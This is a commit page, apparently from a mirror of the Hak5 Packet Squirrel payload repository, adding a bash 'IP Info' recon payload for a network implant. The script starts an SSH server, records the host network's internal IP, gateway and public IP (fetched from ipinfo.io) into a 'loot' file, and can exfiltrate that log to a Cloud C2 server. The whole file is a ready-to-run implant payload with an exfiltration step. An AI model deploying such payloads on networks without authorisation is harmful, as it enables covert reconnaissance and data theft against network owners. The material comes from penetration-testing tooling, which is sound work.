mirror of
https://github.com/hak5/packetsquirrel-payloads.git
synced 2025-12-19 09:48:47 +00:00
Added ipinfo payload
IP Info payload adapted from Shark Jack for Packet Squirrel. Writes ip address info (internal and public) to loot file on internal or USB storage.
This commit is contained in:
61
payloads/library/recon/ipinfo/payload.txt
Normal file
61
payloads/library/recon/ipinfo/payload.txt
Normal file
@@ -0,0 +1,61 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Title: IP Info
|
||||
# Author: Hak5Darren
|
||||
# Version: 1.0
|
||||
#
|
||||
# Description: This payload gathers internal and external IP address info,
|
||||
# including default gateway, saving the log to the loot directory and
|
||||
# optionally exfiltrating the log to Cloud C2 if CLOUDC2=1
|
||||
#
|
||||
# LED SETUP (Magenta)... Setting logs and waiting for IP address from DHCP
|
||||
# LED ATTACK (Yellow Blink)... Saving IP address information
|
||||
# LED FAIL (Red Blink)... Failed to gather public IP address
|
||||
# LED SPECIAL (Cyan Blink)... Exfiltrating log to Cloud C2
|
||||
# LED FINISH (Green Fast Blink to Solid)... Payload successful
|
||||
|
||||
CLOUDC2=0
|
||||
|
||||
# Save to /root/ for internal memory
|
||||
#LOOT_DIR=/root/loot/ipinfo
|
||||
# Save to /mnt/ for USB drive
|
||||
LOOT_DIR=/mnt/loot/ipinfo
|
||||
PUBLIC_IP_URL="http://ipinfo.io/ip"
|
||||
|
||||
function FAIL() { LED FAIL; exit; }
|
||||
LED SETUP
|
||||
|
||||
# Make log file
|
||||
mkdir -p $LOOT_DIR
|
||||
LOG_FILE="ipinfo_$(find $LOOT_DIR -type f | wc -l).log"
|
||||
LOG="$LOOT_DIR/$LOG_FILE"
|
||||
|
||||
# Optionally start SSH server
|
||||
/etc/init.d/sshd start
|
||||
|
||||
|
||||
# Ask for IP address
|
||||
NETMODE NAT
|
||||
|
||||
# Wait until Packet Squirrel has an IP address
|
||||
while ! ifconfig eth1 | grep "inet addr"; do sleep 1; done
|
||||
|
||||
LED ATTACK
|
||||
# Gather IP info and save log
|
||||
INTERNALIP=$(ifconfig eth1 | grep "inet addr" | awk {'print $2'} | awk -F: {'print $2'})
|
||||
GATEWAY=$(route | grep default | awk {'print $2'})
|
||||
PUBLICIP=$(wget --timeout=30 $PUBLIC_IP_URL -qO -) || FAIL
|
||||
echo -e "Date: $(date)\n\
|
||||
Internal IP Address: $INTERNALIP\n\
|
||||
Public IP Address: $PUBLICIP\n\
|
||||
Gateway: $GATEWAY\n" >> $LOG
|
||||
|
||||
# Optionally connect to Cloud C2, wait for connection and exfiltrate loot
|
||||
if [ "$CLOUDC2" = "1" ]; then
|
||||
LED SPECIAL
|
||||
C2CONNECT
|
||||
while ! pgrep cc-client; do sleep 1; done
|
||||
C2EXFIL STRING $LOG IPinfo
|
||||
fi
|
||||
|
||||
LED FINISH
|
||||
Reference in New Issue
Block a user